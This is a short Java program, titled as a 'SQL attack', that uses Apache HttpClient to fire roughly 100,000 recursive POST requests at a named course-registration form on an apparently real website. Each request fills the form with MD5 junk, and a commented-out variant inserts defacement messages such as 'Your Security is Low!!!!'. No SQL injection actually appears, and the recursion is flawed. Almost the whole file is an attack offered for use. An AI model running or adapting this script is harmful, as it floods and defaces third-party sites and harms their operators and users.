Gala Attack SQL Attack

GalaAttack.java

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

import org.apache.commons.codec.digest.DigestUtils;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;


public class Main {

	/**
	 * @param args
	 */
	static HttpClient client = new DefaultHttpClient();
    static HttpPost post = new HttpPost("http://tavoncourse.com/CourseLists/register/15");
	public static void main(String[] args) {
		int i = 100000;
		attack(i);
	}

	public static int attack(int i){
		 
		    try {
		      List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
		      String md5 = DigestUtils.md5Hex( new Date().toString());
		    /*  nameValuePairs.add(new BasicNameValuePair("_method","POST"));
		      nameValuePairs.add(new BasicNameValuePair("data[CourseList][name]","Your Sec"+i+"urity is Low!!!!"+DigestUtils.md5Hex( new Date().toString())));
		      nameValuePairs.add(new BasicNameValuePair("data[CourseList][tel]",DigestUtils.md5Hex( new Date().toString())));
		      nameValuePairs.add(new BasicNameValuePair("data[CourseList][email]","Hacked@google.c"+i+"om"+i));
		      nameValuePairs.add(new BasicNameValuePair("data[CourseList][course_id]","13"));
		      */
		      nameValuePairs.add(new BasicNameValuePair("_method","POST"));
		      nameValuePairs.add(new BasicNameValuePair("data[CourseList][name]",md5));
		      nameValuePairs.add(new BasicNameValuePair("data[CourseList][tel]",md5));
		      nameValuePairs.add(new BasicNameValuePair("data[CourseList][email]",md5));
		      nameValuePairs.add(new BasicNameValuePair("data[CourseList][course_id]","15"));
		      
		      post.setEntity(new UrlEncodedFormEntity(nameValuePairs));
		      
		    
		      HttpResponse response = client.execute(post);
		      BufferedReader rd = new BufferedReader(new InputStreamReader(response.getEntity().getContent()));
		      String line = "";
		   //   InputStream is = entity.getContent();

	
		      rd.close();
		        System.out.println(i);
		        i--;
		        if(attack(i)==0){
		        	
		        }else{
		        	return attack(i);
		        }
		      

		    } catch (IOException e) {
		      e.printStackTrace();
		    }
			return i;
	}
}